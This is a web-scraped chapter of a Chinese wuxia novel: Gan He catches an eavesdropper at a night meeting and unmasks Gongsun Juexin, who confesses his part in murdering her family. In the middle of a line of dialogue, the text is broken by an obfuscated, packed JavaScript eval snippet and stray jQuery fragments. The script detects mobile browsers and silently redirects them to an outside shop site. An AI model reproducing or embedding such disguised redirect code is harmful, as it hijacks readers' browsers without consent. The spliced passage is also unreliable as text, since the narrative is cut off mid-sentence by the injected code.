“哈哈,够你喝就好。”文欣尴尬地笑着,“你真厉害,我真佩服。”
“我不明白。”甘鹤奇道,“这厉害在哪?”
她真的不明白。
文欣在心里叹气,华发堂的人难道全都是这样的呆子?明明难喝,却满面笑容,说什么良药苦口,真是木头人!要不是对面站着的人是甘鹤,他几乎要以为这一番话是对方故意说出来气他的!
甘鹤见文欣不说话,便开始看食盒中的其他小菜。
梅菜扣肉、肉沫茄子,全是她爱吃的,公孙老爷还是记得她的口味。文欣已经瘫软在床上,无福消受,她终于决定完全放松下来,好好品味这顿美餐。
“对了,文欣。”甘鹤边吃边说道,“今晚,我需出门去议事,可能要一两个时辰才能回来。这里很安全,你就好好在这儿待着。我一定会尽早回来陪你的,好吗?”
“大忙人,你要注意身体呀。”文欣道。
“我没事。”甘鹤道,“你若是困了,先睡了便是。不必等我。我一定会回来的。”
“甘大人,你别去和别的女人私会就行。”文欣幽幽道。
文欣忙捂住嘴巴,居然鬼使神差地说出来这么一句话,不知甘鹤会不会生气。
“我……咳咳,我怎么会?”甘鹤正吃着饭,呛得咳嗽,呛得脸红,“你,咳咳,你居然这么说我?”
“对不住,甘鹤。”文欣吐吐舌头,“只是,明明是你要与我同房睡,现在才第一天,便摆出一副彻夜不归的样子,人家……怎么会不怕?”
文欣的脸上欲哭无泪,人比桃花瘦,叫人怜惜。
“……你放心。”甘鹤取出手帕来擦了擦嘴,“我当然会尽早回来的。”
她又走到床边,摸文欣的头:“这样,就两个时辰,我两个时辰就回来,好不好?”
“那你把房门钥匙给我。”文欣道。
“把钥匙给你?”甘鹤诧然道,“为什么?”
“等你从这儿出去之后,我就开始等。”文欣笑道,“等到两个时辰之后,我便把门反锁了睡觉,任你怎么敲门,我也不开。——至多再等你一刻钟,绝对不能再多了!”
“不会给你这个机会的。”甘鹤将一枚钥匙干脆地甩给文欣,“收好。”
“好,甘鹤,你真好。”文欣在甘鹤身上蹭,“你这次要去议的,是不是一件极重要的事情?”
甘鹤沉默半晌,道:“是的,很重要。”
“那么。”文欣握紧她的手,“你一定要小心行事,别因为回了华发堂,就掉以轻心呀。”
过了良久,甘鹤还是出发了。
希望这次能逮到那内鬼,甘鹤在院口与文欣作别。
文欣一直将甘鹤送到院外,目送甘鹤离去。
目送甘鹤消失于他的视野之外。
夜色沉沉,文欣四处环顾,确认左近无人,便将大门反锁,施展身法穿林而出。
甘鹤当然不知道。
甘鹤的心很沉重。
莫名的沉重。
今夜太静了,静得可怕。
连池塘中的蛙鸣都沉寂了。
问辩亭离得不算太近,也不算太远。
这种距离最难把控,比世上任何一柄剑都要难。
甘鹤走在路上,脑袋里居然是与文欣之间的距离。
她再次握紧了拳头,今夜要抓内鬼,绝不能再胡思乱想了。
于是,她的人还是变得像今夜一样冷、一样静。
约定的时辰已经到了,所谓的纸片也早已送去了华发堂的每一处庭院,她亲自送的西边,东边由师父送。
这事实在太机密、太重要,绝不能假手他人,绝不能出差错。
师父果然从另一个方向走了过来,二人行礼,一同入亭,入座,议事。
他们已经开始谈天谈地,只不过其实全然说些胡言乱语,他们所有的精力,都已经放到了亭周的每一处风吹草动!
夜色还是太静了。
简直连风都没有,甘鹤叹了口气,看来今夜是逮不到这内鬼了,这内鬼毕竟没有前来偷听的勇气。
不过,这样也好,她就可以快点回到她那从来没有这么温暖过的小屋,与文欣同榻而眠……
她的身体已经渐渐放松下来,背也变得不再笔直如松,月亮好圆,她几乎想要伸一个懒腰。
正在此时,她听见一声悦耳的脆响,轻微极了。
“咔。”
甘鹤的双眼猛地睁开,她确定,这是人的脚不慎踩断地上树枝的声音!
她的身形早已在这一刹那闪电般飞射而出,竟已在亭外东北处的一角望见一个以黑布蒙面、劲装夜行的黑衣汉子!
这身材不高的黑衣汉子见到甘鹤,也是一惊,本想隐于树后,却已晚了,甘鹤的速度实在太快了。
他一咬牙,右手发力,手上三点寒星飞射而出!
甘鹤冷哼一声,折一树枝,连挥三下。
以她的功力,一草一木皆可做剑,挡住暗器,轻而易举。
树枝断了。
好强的劲力,她的瞳孔收缩,许久没有过的感觉了,这蒙面人武功之高,竟然丝毫不在西门柏玉之下!
她连忙凌空一个翻身,才堪堪躲过这要命的三点寒星。
她脚下的步伐却没有慢,正在此时,她却看到了更长的几道弧线,射向自己身后的弧线!
她猛地拧身回首,惊呼道:“师父,小心!他声东击西,这招打的是你!”
薛摩天微微叹了一口气,身体稍稍动了动。
青影闪动,薛摩天还是坐在原地,可是那三枚暗器不知怎么已经打不到他,反而钉在他身后的墙上了。
甘鹤望了一眼,梅花镖,三枚梅花镖。
她的头脑突然嗡嗡作响,天地好像翻了过来,碧绿的月亮摔到池塘里,血红的池子升天了。
多年前的那个血夜,她实在完全记不清楚、想不起来了。
可是看到这梅花镖,她仿佛想起来这三枚毒镖钉在自己父亲的右臂,父亲的脸庞想不起来了,太久了、太远了,梅花镖却在此刻浮现出来了,原来有很多东西钉在自己的心房,小荷才露尖尖角,痛。
她撕心裂肺地低吼了一声,已用尽全身的力气,去追那蒙面人!
难道当年杀死自己家人的凶手,居然已经隐藏到华发堂之中了?如今,还要来继续害自己?
蒙面人的脚力实在很快,可是竟有些后继无力,甘鹤跟着他跑出数里,他居然忽地弯下腰,不住地喘息起来。
甘鹤用琴弓指着他,目眦欲裂,怒喝道:“你究竟是谁?今晚的问辩亭,本该只有我与师父两人,你哪来的胆子,敢来偷听?”
“……哼。呵呵,多说无益。”蒙面人顿了顿,直起身来,淡淡道,“动手吧。”
突然,他右手一甩,一身披风已经黑云般脱手而出,打向甘鹤面门!
而他人也已在此刻扭身,一柄再寻常不过的软剑已欺到甘鹤周身要穴!
甘鹤屏息凝神,身体急冲而下,躲过这一道披风,被迎面而来的剑气推着向后走。
好厉害的软剑,甘鹤看得清楚,这柄软剑实在再普通不过了,方少华的游龙剑也是软剑,这柄剑比游龙剑差远了。
可是,此人的功力,竟仿佛比方少华精纯十倍,老辣十倍!
许久没吃过瘪了,甘鹤感觉浑身的血液在沸腾,她的琴弓越来越快、越来越狠!
二人双剑相交,噼里啪啦之声,竟比电闪雷鸣还要可怖,一时将万籁众生都惊得沉默。鸣蝉一下子便从树干上掉了下来,摔在地上,难以动弹。
凝神聚气的一招很快相撞,剑气飞瀑般激射而出,他们的身体便也都退后开来,嗬嗬地喘着粗气。
“不要用这个了。”薛摩天的身法当然也很快,他已经奔到甘鹤身后,按住甘鹤的手,柔声道,“你明明是练剑的,为什么只用
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17857158|209626||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一把我从前教你的乐器?你的二胡只能对付些小角色。用这个。”
甘鹤看着薛摩天的手,薛摩天将华发堂的一样镇堂之宝亲手交给了她,「三千丈」,吹毛断发、剑气纵横的绝世神剑!
她挽了一个剑花,厉声道:“说话!你是谁?”
“好剑。薛堂主竟把这把剑给了你。”蒙面人嘲弄地笑了,笑道,“我若走不脱,再告诉你也不迟!”
“那我就不客气了。”甘鹤的语声变得从未有过的冰冷,她的眼睛也变得愈来愈红。
蒙面人握剑的手居然微微一颤,甘鹤的眼睛变红了,多年之前杀死她家人的那个雨夜,他也曾经看到过这样子的眼睛,好重的杀气,好可怕的杀气!
他还未说话,甘鹤的剑已经明晃晃地扑面而来,一剑破七星,薛摩天的七星剑法!
蒙面人吃力地抵抗着,甘鹤的剑法越来越快、越来越有力,他的剑法却越来越慢、越来越无力了。
“天地幽冥剑法!”蒙面人低声喝道,他在自己生命的尽头,最后用出了一次他最擅长的武功。
这一招一旦使出来,本该是天地失色,众生惊惧的。
可是今天没有。
他太慢了,他已经变得太慢了。
甘鹤的剑尖抵在他的喉咙之前,他叹了一口气,「天地玄黄」公孙绝心纵横江湖三十余年,如今还是太老了。
甘鹤拼命抵御住自己可怕的杀意,不能就这样杀了他,至少需要知道他是谁,她以左手紧紧拉住自己的右腕,颤动着挑飞了蒙面人的黑巾。
一张熟悉的面孔映入眼帘,这张脸的主人今天还为她准备了最好的十全大补汤,为她准备好了她最爱吃的小菜。
她的手只有更加颤抖。
薛摩天在后面长声叹气:“怎么会是你,我最敬重的公孙老爷,你怎么会走到了这一步?”
公孙绝心冷冷道:“杀人偿命,没什么好说的,杀了我罢。”
甘鹤喃喃道:“怎么会是你?怎么会是你?”
公孙绝心听到甘鹤的话,看到甘鹤的眸子,冰冷的语声也变得颤抖、嘶哑:“甘鹤,对不住,你相信吗?我……我绝非有意杀你家人,我,我是一时蒙了心,对,哈哈哈,失了手,受人教唆……我每日每夜都在后悔……”
他早已年过半百,此刻的声音居然带着哭腔,语无伦次,听起来极诡异又可怕。
甘鹤的头脑几乎已经变得一片空白。
她不明白这幽然天地为何总是对她如此不公。
半晌,她还是揉了揉眼睛,缓缓开口道:“你是受什么人蒙蔽?”
公孙绝心的眼泪流了下来:“你不该这么问的,你实在不该这么问的!”
甘鹤道:“为什么?”
公孙绝心道:“你既然这么问了,我又怎么忍心不告诉你?”
甘鹤冷冷道:“你说便是,什么忍心不忍心。”
公孙绝心的泪水涌泉而出:“你家人的武功都很高,当年我们去动手的人,一共有六个。”
甘鹤的手指几乎要攥出血来,原来有六个,六个人沾满了自己家人的鲜血!
公孙绝心道:“其中两个,武功差了些,当场便被你父亲毙了。是洛阳的「参天大力神」,还有「七巧玲珑刀北海娘子」。”
“另外四个呢?”甘鹤厉声道。
公孙绝心道:“这四个,一个比一个难缠,一个比一个可怕!第一个是「天地玄黄」公孙绝心,也就是老夫。第二个,是桑土旗主,桑化云。”
甘鹤咬牙,居然是桑化云,那日在马车前,未曾见到他的样子,可惜,必要再去找他动手!
公孙绝心接着道:“第三个,是秦王府三大高手之一的「贵公子」,玉树临风宇文柳。”
秦王府,甘鹤皱眉,看来这宇文柳也是个与西门柏玉一样难缠的家伙。
公孙绝心嗬嗬喘着粗气:“至于这最后一个,哈哈,呵呵,哈哈哈哈!”